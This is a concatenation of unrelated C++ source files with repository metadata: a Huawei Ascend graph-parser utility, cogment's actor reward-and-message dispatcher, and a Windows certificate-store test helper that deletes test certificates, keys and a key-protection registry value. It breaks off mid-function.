std::vector<domiTensorFormat_t> output_formats = ge::GetParserContext().output_formats; std::vector<std::pair<ge::NodePtr, int32_t>> output_nodes_info; std::vector<std::string> output_nodes_name; // User declared outputs for (uint32_t i = 0; i < user_out_nodes.size(); ++i) { ge::NodePtr out_node = compute_graph->FindNode(user_out_nodes[i].first); if (out_node == nullptr) { ErrorManager::GetInstance().ATCReportErrMessage("E10016", {"parameter", "opname"}, {"out_nodes", user_out_nodes[i].first}); GELOGE(domi::FAILED, "Can not find src node (%s) in graph.", user_out_nodes[i].first.c_str()); return domi::FAILED; } auto op_desc = out_node->GetOpDesc(); GE_CHECK_NOTNULL(op_desc); if (CheckOutNode(op_desc, user_out_nodes[i].second) != SUCCESS) { GELOGE(domi::FAILED, "Check out node (%s) fail.", user_out_nodes[i].first.c_str()); return domi::FAILED; } // add user_define_output_nodes attr. (void)ge::AttrUtils::SetStr(op_desc, ATTR_ATC_USER_DEFINE_OUTPUT_NODES, "true"); if (i < output_formats.size()) { if (output_formats[i] == domi::DOMI_TENSOR_NC1HWC0) { GELOGI("The output node [%s] should be set NC1HWC0", user_out_nodes[i].first.c_str()); vector<string> output_fp16_5hd_vec; (void)ge::AttrUtils::GetListStr(op_desc, "_user_defined_output_fp16_5hd", output_fp16_5hd_vec); output_fp16_5hd_vec.push_back(std::to_string(user_out_nodes[i].second) + ":" + "NC1HWC0"); (void)ge::AttrUtils::SetListStr(op_desc, "_user_defined_output_fp16_5hd", output_fp16_5hd_vec); } } output_nodes_info.push_back(std::make_pair(out_node, user_out_nodes[i].second)); } // default output node (leaf) if (user_out_nodes.empty()) { if (GetDefaultOutInfo(compute_graph, output_nodes_info) != SUCCESS) { GELOGE(domi::FAILED, "Get default output info failed."); return domi::FAILED; } } GetOutputNodesNameAndIndex(output_nodes_info, output_nodes_name); compute_graph->SetGraphOutNodesInfo(output_nodes_info); ge::GetParserContext().net_out_nodes = output_nodes_name; GELOGI("Set graph %s output node success.", graph.GetName().c_str()); return domi::SUCCESS; } domi::Status AclGrphParseUtil::CheckOptions(const std::map<AscendString, AscendString> &parser_params) { for (auto &ele : parser_params) { const char *key_ascend = ele.first.GetString(); if (key_ascend == nullptr) { ErrorManager::GetInstance().ATCReportErrMessage("E10016", {"parameter", "opname"}, {"parser_params", "null AscendString"}); GELOGE(PARAM_INVALID, "Input options key is null, Please check!"); return PARAM_INVALID; } string key_str = key_ascend; auto it = ge::ir_option::ir_parser_suppported_options.find(key_str); if (it == ge::ir_option::ir_parser_suppported_options.end()) { ErrorManager::GetInstance().ATCReportErrMessage("E10016", {"parameter", "opname"}, {"parser_params", key_str}); GELOGE(PARAM_INVALID, "Input options include unsupported option(%s).Please check!", key_ascend); return PARAM_INVALID; } } return SUCCESS; } domi::Status AclGrphParseUtil::ParseParamsBeforeGraph(const std::map<AscendString, AscendString> &parser_params, string &graph_name) { GELOGI("Parse graph user options start."); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(CheckOptions(parser_params) != SUCCESS, return PARAM_INVALID, "Parse paragrams invalid."); // support paragrams: out_nodes, is_output_adjust_hw_layout, output, enable_scope_fusion_passes SetDefaultFormat(); string out_nodes; GetAclParams(parser_params, ge::ir_option::OUT_NODES, out_nodes); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(ParseAclOutputNodes(out_nodes) != SUCCESS, return PARAM_INVALID, "Parse out_nodes failed"); string is_output_adjust_hw_layout; GetAclParams(parser_params, ge::ir_option::IS_OUTPUT_ADJUST_HW_LAYOUT, is_output_adjust_hw_layout); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(ParseAclOutputFp16NodesFormat(is_output_adjust_hw_layout) != SUCCESS, return PARAM_INVALID, "Parse is_output_adjust_hw_layout failed"); string tmp_name; GetAclParams(parser_params, ge::ir_option::OUTPUT, tmp_name); graph_name = tmp_name.empty() ? (kGraphDefaultName + "_" + ge::parser::CurrentTimeInStr()) : tmp_name; string enable_scope_fusion_passes; GetAclParams(parser_params, ge::ir_option::ENABLE_SCOPE_FUSION_PASSES, enable_scope_fusion_passes); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(ParseAclEnableScope(enable_scope_fusion_passes) != SUCCESS, return PARAM_INVALID, "Parse enable_scope_fusion_passes failed"); return SUCCESS; } domi::Status AclGrphParseUtil::ParseParamsAfterGraph(ge::Graph &graph, const std::map<AscendString, AscendString> &parser_params) { // support paragrams: input_fp16_nodes, is_input_adjust_hw_layout, ComputeGraphPtr compute_graph = GraphUtils::GetComputeGraph(graph); GE_CHECK_NOTNULL(compute_graph); string input_fp16_nodes; GetAclParams(parser_params, ge::ir_option::INPUT_FP16_NODES, input_fp16_nodes); string is_input_adjust_hw_layout; GetAclParams(parser_params, ge::ir_option::IS_INPUT_ADJUST_HW_LAYOUT, is_input_adjust_hw_layout); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG( ParseAclInputFp16Nodes(compute_graph, input_fp16_nodes, is_input_adjust_hw_layout) != SUCCESS, return PARAM_INVALID, "Parse input_fp16_nodes failed"); return SUCCESS; } namespace parser { FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY std::string RealPath(const char *path) { if (path == nullptr) { GELOGE(ge::FAILED, "path pointer is NULL."); return ""; } if (strlen(path) >= PATH_MAX) { ErrorManager::GetInstance().ATCReportErrMessage("E19002", {"filepath", "size"}, {path, std::to_string(PATH_MAX)}); GELOGE(ge::FAILED, "Path[%s] len is too long, it must be less than %d", path, PATH_MAX); return ""; } // Nullptr is returned when the path does not exist or there is no permission // Return absolute path when path is accessible std::string res; char resolved_path[PATH_MAX] = {0}; if (realpath(path, resolved_path) != nullptr) { res = resolved_path; } return res; } // Get file length FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY long GetFileLength(const std::string &input_file) { GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(input_file.empty(), return -1, "input_file path is null."); std::string real_path = RealPath(input_file.c_str()); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(real_path.empty(), return -1, "input_file path '%s' not valid", input_file.c_str()); unsigned long long file_length = 0; GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(mmGetFileSize(input_file.c_str(), &file_length) != EN_OK, ErrorManager::GetInstance().ATCReportErrMessage("E19001", {"file", "errmsg"}, {input_file, strerror(errno)}); return -1, "Open file[%s] failed. %s", input_file.c_str(), strerror(errno)); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG((file_length == 0), ErrorManager::GetInstance().ATCReportErrMessage("E19015", {"filepath"}, {input_file}); return -1, "File[%s] size is 0, not valid.", input_file.c_str()); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(file_length > kMaxFileSizeLimit, ErrorManager::GetInstance().ATCReportErrMessage( "E19016", {"filepath", "filesize", "maxlen"}, {input_file, std::to_string(file_length), std::to_string(kMaxFileSizeLimit)}); return -1, "File[%s] size %lld is out of limit: %d.", input_file.c_str(), file_length, kMaxFileSizeLimit); return static_cast<long>(file_length); } FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY uint64_t GetCurrentTimestamp() { struct timeval tv{}; int ret = gettimeofday(&tv, nullptr); GE_LOGE_IF(ret != 0, "Func gettimeofday may failed: ret=%d", ret); auto total_use_time = tv.tv_usec + tv.tv_sec * 1000000; // 1000000: seconds to microseconds return static_cast<uint64_t>(total_use_time); } static bool ReadProtoFromCodedInputStream(CodedInputStream &coded_stream, Message *proto) { GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(proto == nullptr, return false, "incorrect parameter. nullptr == proto"); coded_stream.SetTotalBytesLimit(kProtoReadBytesLimit, kWarningThreshold); return proto->ParseFromCodedStream(&coded_stream); } /** @ingroup domi_common * @brief Read all data from binary file * @param [in] file_name File path * @param [out] buffer The address of the output memory, which needs to be released by the caller * @param [out] length Output memory size * @return false fail * @return true success */ FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY bool ReadBytesFromBinaryFile(const char *file_name, char **buffer, int &length) { GE_CHK_BOOL_TRUE_EXEC_WITH_LOG((file_name == nullptr), return false, "incorrect parameter. file is nullptr"); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG((buffer == nullptr), return false, "incorrect parameter. buffer is nullptr"); std::string real_path = RealPath(file_name); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(real_path.empty(), return false, "file path '%s' not valid", file_name); std::ifstream file(real_path.c_str(), std::ios::binary | std::ios::ate); if (!file.is_open()) { GELOGE(ge::FAILED, "Read file %s failed.", file_name); return false; } length = static_cast<int>(file.tellg()); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG((length <= 0), file.close(); return false, "file length <= 0"); file.seekg(0, std::ios::beg); *buffer = new(std::nothrow) char[length](); GE_CHK_BOOL_TRUE_EXEC_RET_STATUS(*buffer == nullptr, false, file.close(), "new an object failed."); file.read(*buffer, length); file.close(); return true; } FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY bool ReadProtoFromBinaryFile(const char *file, Message *proto) { GE_CHK_BOOL_TRUE_EXEC_WITH_LOG((file == nullptr || proto == nullptr), return false, "Input parameter file or proto is nullptr!"); std::string real_path = RealPath(file); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(real_path.empty(), return false, "pb file path '%s' not valid", file); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(GetFileLength(real_path) == -1, return false, "file size not valid."); std::ifstream fs(real_path, std::ifstream::in | std::ifstream::binary); if (!fs.is_open()) { ErrorManager::GetInstance().ATCReportErrMessage("E19001", {"file", "errmsg"}, {file, "ifstream is_open failed"}); GELOGE(ge::FAILED, "Open real path[%s] failed.", file); return false; } google::protobuf::io::IstreamInputStream istream(&fs); google::protobuf::io::CodedInputStream coded_stream(&istream); bool ret = ReadProtoFromCodedInputStream(coded_stream, proto); fs.close(); if (!ret) { ErrorManager::GetInstance().ATCReportErrMessage("E19005", {"file"}, {file}); GELOGE(ge::FAILED, "Parse file[%s] failed.", file); return ret; } return ret; } FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY bool ReadProtoFromArray(const void *data, int size, Message *proto) { GE_CHK_BOOL_TRUE_EXEC_WITH_LOG((proto == nullptr || data == nullptr || size == 0), return false, "incorrect parameter. proto is nullptr || data is nullptr || size is 0"); google::protobuf::io::CodedInputStream coded_stream(reinterpret_cast<uint8_t *>(const_cast<void *>(data)), size); return ReadProtoFromCodedInputStream(coded_stream, proto); } FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY bool ReadProtoFromText(const char *file, google::protobuf::Message *message) { GE_CHK_BOOL_TRUE_EXEC_WITH_LOG((file == nullptr || message == nullptr), return false, "incorrect parameter. nullptr == file || nullptr == message"); std::string real_path = RealPath(file); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(real_path.empty(), ErrorManager::GetInstance().ATCReportErrMessage("E19000", {"path", "errmsg"}, {file, strerror(errno)}); return false, "Path[%s]'s realpath is empty, errmsg[%s]", file, strerror(errno)); GE_CHK_BOOL_TRUE_EXEC_WITH_LOG(GetFileLength(real_path) == -1, return false, "file size not valid."); std::ifstream fs(real_path.c_str(), std::ifstream::in); if (!fs.is_open()) { ErrorManager::GetInstance().ATCReportErrMessage("E19017", {"realpth", "protofile"}, {real_path, file}); GELOGE(ge::FAILED, "Fail to open proto file real path is '%s' when orginal file path is '%s'.", real_path.c_str(), file); return false; } google::protobuf::io::IstreamInputStream input(&fs); bool ret = google::protobuf::TextFormat::Parse(&input, message); GE_IF_BOOL_EXEC(!ret, ErrorManager::GetInstance().ATCReportErrMessage("E19018", {"protofile"}, {file}); GELOGE(ret, "Parse file[%s] through [google::protobuf::TextFormat::Parse] failed, " "please check whether the file is a valid protobuf format file.", file)); fs.close(); return ret; } FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY bool ReadProtoFromMem(const char *data, int size, google::protobuf::Message *message) { GE_CHK_BOOL_TRUE_EXEC_WITH_LOG((data == nullptr || message == nullptr), return false, "incorrect parameter. data is nullptr || message is nullptr"); std::string str(data, static_cast<size_t>(size)); std::istringstream fs(str); google::protobuf::io::IstreamInputStream input(&fs); bool ret = google::protobuf::TextFormat::Parse(&input, message); GE_IF_BOOL_EXEC( !ret, GELOGE(ret, "Call [google::protobuf::TextFormat::Parse] func ret fail, please check your text file.")); return ret; } /// /// @brief get the Original Type of FrameworkOp /// @param [in] node /// @param [out] type /// @return Status /// Status GetOriginalType(const ge::NodePtr &node, string &type) { GE_CHECK_NOTNULL(node); type = node->GetType(); GE_IF_BOOL_EXEC(type != FRAMEWORKOP, return SUCCESS); GE_CHECK_NOTNULL(node->GetOpDesc()); bool ret = ge::AttrUtils::GetStr(node->GetOpDesc(), ATTR_NAME_FRAMEWORK_ORIGINAL_TYPE, type); if (!ret) { GELOGE(INTERNAL_ERROR, "Get FrameWorkOp original type [%s]", type.c_str()); return INTERNAL_ERROR; } GELOGD("Get FrameWorkOp original type [%s]", type.c_str()); return SUCCESS; } FMK_FUNC_HOST_VISIBILITY bool ValidateStr(const std::string &str, const std::string &mode) { char ebuff[kMaxBuffSize]; regex_t reg; int cflags = REG_EXTENDED | REG_NOSUB; int ret = regcomp(&reg, mode.c_str(), cflags); if (ret) { regerror(ret, &reg, ebuff, kMaxBuffSize); GELOGW("regcomp failed, reason: %s", ebuff); regfree(&reg); return true; } ret = regexec(&reg, str.c_str(), 0, nullptr, 0); if (ret) { regerror(ret, &reg, ebuff, kMaxBuffSize); GELOGE(ge::PARAM_INVALID, "regexec failed, reason: %s", ebuff); regfree(&reg); return false; } regfree(&reg); return true; } FMK_FUNC_HOST_VISIBILITY FMK_FUNC_DEV_VISIBILITY std::string CurrentTimeInStr() { std::time_t now = std::time(nullptr); std::tm *ptm = std::localtime(&now); if (ptm == nullptr) { GELOGE(ge::FAILED, "Localtime failed."); return ""; } const int kTimeBufferLen = 32; char buffer[kTimeBufferLen + 1] = {0}; // format: 20171122042550 std::strftime(buffer, kTimeBufferLen, "%Y%m%d%H%M%S", ptm); return std::string(buffer); } } // namespace parser } // namespace ge
42.577726
119
0.661817
[ "object", "vector", "model" ]
2fcdd2bf4d478a505e6ffd0eb59c0cd540cd79fb
3,939
cpp
C++
lib/cogment/actor.cpp
cogment/cogment-orchestrator
c3089d2827938d450d2d2b1391ff57aee82eddd3
[ "Apache-2.0" ]
3
2021-02-20T01:32:43.000Z
2021-07-08T15:05:27.000Z
lib/cogment/actor.cpp
cogment/cogment-orchestrator
c3089d2827938d450d2d2b1391ff57aee82eddd3
[ "Apache-2.0" ]
null
null
null
lib/cogment/actor.cpp
cogment/cogment-orchestrator
c3089d2827938d450d2d2b1391ff57aee82eddd3
[ "Apache-2.0" ]
2
2021-02-20T02:42:10.000Z
2022-03-23T23:47:21.000Z
// Copyright 2021 AI Redefined Inc. <dev+cogment@ai-r.com> // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef NDEBUG #define SPDLOG_ACTIVE_LEVEL SPDLOG_LEVEL_TRACE #endif #include "cogment/actor.h" #include "cogment/config_file.h" #include "cogment/trial.h" #include "spdlog/spdlog.h" namespace { // Collapses a collection of reward sources into a reward. cogment::Reward build_reward(cogment::Actor::SrcAccumulator* src_acc) { cogment::Reward reward; float value_accum = 0.0f; float confidence_accum = 0.0f; for (auto& src : *src_acc) { auto fb_conf = src.confidence(); if (fb_conf > 0.0f) { value_accum += src.value() * fb_conf; confidence_accum += fb_conf; } auto new_src = reward.add_sources(); *new_src = std::move(src); } if (confidence_accum > 0.0f) { value_accum /= confidence_accum; } reward.set_value(value_accum); return reward; } template <class FUNCTION> void process_rewards(cogment::Actor::RewAccumulator* rew_acc, const std::string& name, FUNCTION func) { for (auto& tick_sources : *rew_acc) { const uint64_t tick_id = tick_sources.first; auto& sources = tick_sources.second; auto reward = build_reward(&sources); reward.set_tick_id(tick_id); reward.set_receiver_name(name); func(std::move(reward)); } rew_acc->clear(); } } // namespace namespace cogment { Actor::Actor(Trial* trial, const std::string& actor_name, const ActorClass* actor_class) : m_trial(trial), m_actor_name(actor_name), m_actor_class(actor_class) {} Actor::~Actor() {} Trial* Actor::trial() const { return m_trial; } const std::string& Actor::actor_name() const { return m_actor_name; } const ActorClass* Actor::actor_class() const { return m_actor_class; } void Actor::add_immediate_reward_src(const cogment::RewardSource& source, const std::string& sender, uint64_t tick_id) { const std::lock_guard<std::mutex> lg(m_lock); auto& src_acc = m_reward_accumulator[tick_id]; src_acc.emplace_back(source); src_acc.back().set_sender_name(sender); } void Actor::add_immediate_message(const cogment::Message& message, const std::string& sender, uint64_t tick_id) { const std::lock_guard<std::mutex> lg(m_lock); m_message_accumulator.emplace_back(message); m_message_accumulator.back().set_tick_id(tick_id); m_message_accumulator.back().set_sender_name(sender); } void Actor::dispatch_tick(cogment::Observation&& obs, bool final_tick) { RewAccumulator reward_acc; std::vector<cogment::Message> msg_acc; { const std::lock_guard<std::mutex> lg(m_lock); reward_acc.swap(m_reward_accumulator); msg_acc.swap(m_message_accumulator); } if (!final_tick) { process_rewards(&reward_acc, m_actor_name, [this](cogment::Reward&& rew) { dispatch_reward(std::move(rew)); }); for (auto& message : msg_acc) { dispatch_message(std::move(message)); } dispatch_observation(std::move(obs)); } else { cogment::ActorPeriodData data; process_rewards(&reward_acc, m_actor_name, [&data](cogment::Reward&& rew) { auto new_reward = data.add_rewards(); *new_reward = std::move(rew); }); for (auto& message : msg_acc) { auto new_msg = data.add_messages(); *new_msg = std::move(message); } auto new_obs = data.add_observations(); *new_obs = std::move(obs); dispatch_final_data(std::move(data)); } } } // namespace cogment
28.338129
120
0.707286
[ "vector" ]
2fd6f5ae0302e54c6e2bc9e85593ec5bcc14f981
1,455
cpp
C++
external/tellstick-core/ProtocolFineoffset.cpp
Ziver/hal
48a139cdd5be069db498ecbe706950d87fc40963
[ "MIT" ]
1
2021-08-15T09:33:45.000Z
2021-08-15T09:33:45.000Z
external/tellstick-core/ProtocolFineoffset.cpp
Ziver/hal
48a139cdd5be069db498ecbe706950d87fc40963
[ "MIT" ]
1
2019-11-12T13:36:22.000Z
2019-11-12T13:36:22.000Z
external/tellstick-core/ProtocolFineoffset.cpp
Ziver/hal
48a139cdd5be069db498ecbe706950d87fc40963
[ "MIT" ]
null
null
null
// // Copyright (C) 2012 Telldus Technologies AB. All rights reserved. // // Copyright: See COPYING file that comes with this distribution // // #include "service/ProtocolFineoffset.h" #include <stdlib.h> #include <iomanip> #include <sstream> #include <string> #include "common/Strings.h" std::string ProtocolFineoffset::decodeData(const ControllerMessage &dataMsg) { std::string data = dataMsg.getParameter("data"); if (data.length() < 8) { return ""; } // Checksum currently not used // uint8_t checksum = (uint8_t)TelldusCore::hexTo64l(data.substr(data.length()-2)); data = data.substr(0, data.length()-2); uint8_t humidity = (uint8_t)TelldusCore::hexTo64l(data.substr(data.length()-2)); data = data.substr(0, data.length()-2); uint16_t value = (uint16_t)TelldusCore::hexTo64l(data.substr(data.length()-3)); double temperature = (value & 0x7FF)/10.0; value >>= 11; if (value & 1) { temperature = -temperature; } data = data.substr(0, data.length()-3); uint16_t id = (uint16_t)TelldusCore::hexTo64l(data) & 0xFF; std::stringstream retString; retString << "class:sensor;protocol:fineoffset;id:" << id << ";model:"; if (humidity <= 100) { retString << "temperaturehumidity;humidity:" << static_cast<int>(humidity) << ";"; } else if (humidity == 0xFF) { retString << "temperature;"; } else { return ""; } retString << "temp:" << std::fixed << std::setprecision(1) << temperature << ";"; return retString.str(); }
27.45283
84
0.679725
[ "model" ]
7c837b197cd8da6537cf10abb2da9da587b3ee4b
14,198
cpp
C++
win32/test/utils/CertStoreUtil.cpp
antonhajdinaj/cryptocmd
cf5f8dc5e5dfdd753135fc33cbf852abdca21439
[ "MIT" ]
null
null
null
win32/test/utils/CertStoreUtil.cpp
antonhajdinaj/cryptocmd
cf5f8dc5e5dfdd753135fc33cbf852abdca21439
[ "MIT" ]
1
2020-10-16T22:07:12.000Z
2020-10-16T22:07:12.000Z
win32/test/utils/CertStoreUtil.cpp
antonhajdinaj/cryptocmd
cf5f8dc5e5dfdd753135fc33cbf852abdca21439
[ "MIT" ]
null
null
null
/* * Copyright (c) 2020 Cryptable BV. All rights reserved. * (MIT License) * Author: "David Tillemans" * Date: 02/08/2020 */ #include <KSException.h> #include <utility> #include <vector> #include <iostream> #include <locale> #include <codecvt> #include "CertStoreUtil.h" #include "HexUtils.hpp" #include "CNGHash.h" #include "CNGSign.h" CertStoreUtil::CertStoreUtil() : hStoreHandle{nullptr}, name{"MY"}, keyStoreUtil(MS_KEY_STORAGE_PROVIDER), storeOpen{true} { if ((hStoreHandle = CertOpenSystemStoreA( NULL, name.c_str())) == nullptr) { throw KSException(__func__, __LINE__, GetLastError()); } } CertStoreUtil::CertStoreUtil(const std::string &certStoreName, const std::wstring &keyStoreProviderName) : hStoreHandle{nullptr}, name{certStoreName}, keyStoreUtil(keyStoreProviderName.c_str()) { if ((hStoreHandle = CertOpenSystemStoreA( NULL, name.c_str())) == nullptr) { throw KSException(__func__, __LINE__, GetLastError()); } } void CertStoreUtil::close() { if (storeOpen) { if (!CertCloseStore(hStoreHandle, 0)) { throw KSException(__func__, __LINE__, GetLastError()); } storeOpen = false; } } void CertStoreUtil::reopen() { if (!storeOpen) { if ((hStoreHandle = CertOpenSystemStoreA( NULL, name.c_str())) == nullptr) { throw KSException(__func__, __LINE__, GetLastError()); } storeOpen = true; } } void CertStoreUtil::showCertificatesOfCertStore() { PCCERT_CONTEXT pCertContext = nullptr; std::cout << std::endl; pCertContext = CertEnumCertificatesInStore( hStoreHandle, pCertContext); while(pCertContext) { DWORD size; if(!(size = CertGetNameString( pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, nullptr, nullptr, 0))) { throw KSException(__func__, __LINE__, GetLastError()); } std::vector<TCHAR> subjectName(size); if(!CertGetNameString( pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, nullptr, subjectName.data(), size)) { throw KSException(__func__, __LINE__, GetLastError()); } std::cout << "Subject -> " << subjectName.data() << std::endl; std::cout << "Serial : " << HexUtils::binToHex(pCertContext->pCertInfo->SerialNumber.pbData, pCertContext->pCertInfo->SerialNumber.cbData) << std::endl; // showPropertiesOfCertificate(std::wstring(subjectName.begin(), subjectName.end())); pCertContext = CertEnumCertificatesInStore( hStoreHandle, pCertContext); } } bool CertStoreUtil::hasPrivateKey(const std::wstring &subject) { PCCERT_CONTEXT pCertContext; HCRYPTPROV_OR_NCRYPT_KEY_HANDLE keyHandle; DWORD keySpecs; BOOL mustFreeKeyHandle; pCertContext=CertFindCertificateInStore(hStoreHandle, X509_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, subject.c_str(), nullptr); if (pCertContext == nullptr) { throw KSException(__func__, __LINE__, GetLastError()); } if (!CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_COMPARE_KEY_FLAG | CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG, nullptr, &keyHandle, &keySpecs, &mustFreeKeyHandle)) { throw KSException(__func__, __LINE__, GetLastError()); } CNGHash hash; std::string plainData("This is test data"); hash.update(plainData.data(), plainData.size()); auto hashedData = hash.finalize(); CNGSign sign(keyHandle); auto signature = sign.sign(hashedData.data(), hashedData.size()); return true; } bool CertStoreUtil::hasCertificates(const std::wstring &subject) { if (CertFindCertificateInStore(hStoreHandle, X509_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, subject.c_str(), nullptr)) { return true; } return false; } void CertStoreUtil::deleteCNGKeyIfAvailable(PCCERT_CONTEXT pCertContext) { try { auto data = getData(pCertContext, CERT_KEY_PROV_INFO_PROP_ID); CRYPT_KEY_PROV_INFO *privInfo = (CRYPT_KEY_PROV_INFO *)data.data(); keyStoreUtil.deleteKeyFromKeyStore(privInfo->pwszContainerName); } catch (KSException &e) { std::cout << e.what(); } } void CertStoreUtil::deleteCertificates(const std::wstring &subject) { PCCERT_CONTEXT pCertContext; pCertContext = CertFindCertificateInStore(hStoreHandle, X509_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, subject.c_str(), nullptr); while (pCertContext) { // First delete the linked private key deleteCNGKeyIfAvailable(pCertContext); if (!CertDeleteCertificateFromStore(pCertContext)) { throw KSException(__func__, __LINE__, GetLastError()); } pCertContext = CertFindCertificateInStore(hStoreHandle, X509_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, subject.c_str(), nullptr); } } CertStoreUtil::~CertStoreUtil() { if (storeOpen) { CertCloseStore(hStoreHandle, 0); } } std::vector<unsigned char> CertStoreUtil::getData(PCCERT_CONTEXT pCertContext, DWORD propertyId) { DWORD dataLg = 0; if(!CertGetCertificateContextProperty( pCertContext, propertyId , NULL , &dataLg)) { throw KSException(__func__, __LINE__, GetLastError()); } std::vector<unsigned char> data(dataLg); CertGetCertificateContextProperty( pCertContext, propertyId, data.data(), &dataLg); return data; } std::string ws2s(const std::wstring& wstr) { using convert_typeX = std::codecvt_utf8<wchar_t>; std::wstring_convert<convert_typeX, wchar_t> converterX; return converterX.to_bytes(wstr); } void CertStoreUtil::showPropertiesOfCertificate(const std::wstring &subject) { PCCERT_CONTEXT pCertContext; std::string tmpSubject = ws2s(subject); pCertContext = CertFindCertificateInStore(hStoreHandle, X509_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, subject.c_str(), nullptr); if (pCertContext == nullptr) { throw KSException(__func__, __LINE__, GetLastError()); } DWORD propertyId = 0; propertyId = CertEnumCertificateContextProperties( pCertContext, propertyId); while(propertyId) { std::cout << "Property number: " << propertyId << std::endl; switch(propertyId) { case CERT_FRIENDLY_NAME_PROP_ID: { std::cout << "Display name: "; std::cout << std::endl; break; } case CERT_SIGNATURE_HASH_PROP_ID: { std::cout << "Signature hash identifier "; std::cout << std::endl; break; } case CERT_KEY_PROV_HANDLE_PROP_ID: { std::cout << "KEY PROVE HANDLE"; std::cout << std::endl; break; } case CERT_KEY_PROV_INFO_PROP_ID: { std::cout << "KEY PROV INFO PROP ID "; std::cout << std::endl; auto data = getData(pCertContext, propertyId); CRYPT_KEY_PROV_INFO *privInfo = (CRYPT_KEY_PROV_INFO *)data.data(); std::wstring tmpData1(privInfo->pwszProvName); std::cout << tmpSubject << ": Provider Name: " << ws2s(tmpData1) << std::endl; std::wstring tmpData2(privInfo->pwszContainerName); std::cout << tmpSubject << ": Container Name: " << ws2s(tmpData2) << std::endl; break; } case CERT_SHA1_HASH_PROP_ID: { std::cout << "SHA1 HASH identifier: "; auto data = getData(pCertContext, propertyId); std::cout << "The Property Content is " << HexUtils::binToHex(data.data(), data.size()); std::cout << std::endl; break; } case CERT_MD5_HASH_PROP_ID: { std::cout << "md5 hash identifier: "; auto data = getData(pCertContext, propertyId); std::cout << "The Property Content is " << HexUtils::binToHex(data.data(), data.size()); std::cout << std::endl; break; } case CERT_KEY_CONTEXT_PROP_ID: { std::cout << "KEY CONTEXT PROP identifier"; std::cout << std::endl; break; } case CERT_KEY_SPEC_PROP_ID: { std::cout << "KEY SPEC PROP identifier"; std::cout << std::endl; break; } case CERT_ENHKEY_USAGE_PROP_ID: { std::cout << "ENHKEY USAGE PROP identifier"; std::cout << std::endl; break; } case CERT_NEXT_UPDATE_LOCATION_PROP_ID: { std::cout << "NEXT UPDATE LOCATION PROP identifier"; std::cout << std::endl; break; } case CERT_PVK_FILE_PROP_ID: { std::cout << "PVK FILE PROP identifier "; std::cout << std::endl; break; } case CERT_DESCRIPTION_PROP_ID: { std::cout << "DESCRIPTION PROP identifier "; std::cout << std::endl; break; } case CERT_ACCESS_STATE_PROP_ID: { std::cout << "ACCESS STATE PROP identifier "; std::cout << std::endl; break; } case CERT_SMART_CARD_DATA_PROP_ID: { std::cout << "SMART_CARD DATA PROP identifier "; std::cout << std::endl; break; } case CERT_EFS_PROP_ID: { std::cout << "EFS PROP identifier "; std::cout << std::endl; break; } case CERT_FORTEZZA_DATA_PROP_ID: { std::cout << "FORTEZZA DATA PROP identifier "; std::cout << std::endl; break; } case CERT_ARCHIVED_PROP_ID: { std::cout << "ARCHIVED PROP identifier "; std::cout << std::endl; break; } case CERT_KEY_IDENTIFIER_PROP_ID: { std::cout << "KEY IDENTIFIER PROP identifier "; std::cout << std::endl; break; } case CERT_AUTO_ENROLL_PROP_ID: { std::cout << "AUTO ENROLL identifier. "; std::cout << std::endl; break; } case CERT_NCRYPT_KEY_HANDLE_PROP_ID: { std::cout << "Key handle to CNG. "; std::cout << std::endl; break; } default: std::cout << "Unknown Identifier. "; std::cout << std::endl; } propertyId = CertEnumCertificateContextProperties( pCertContext, propertyId); } } void CertStoreUtil::deletePasswordPINProtection() { HKEY hRegKeyHandle = NULL; DWORD dwValue = 0; DWORD dwValueSize = sizeof(dwValue); DWORD dwType = REG_DWORD; int iRet; /* Try to open this key */ iRet = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Policies\\Microsoft\\Cryptography", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_READ, NULL, &hRegKeyHandle, NULL); if ( iRet == ERROR_SUCCESS ) { iRet = RegQueryValueEx (hRegKeyHandle, "ForceKeyProtection", NULL, &dwType, (LPBYTE) &dwValue, &dwValueSize); if ( iRet == ERROR_SUCCESS ) { iRet = RegDeleteValueA(hRegKeyHandle, "ForceKeyProtection"); if ( iRet == ERROR_SUCCESS 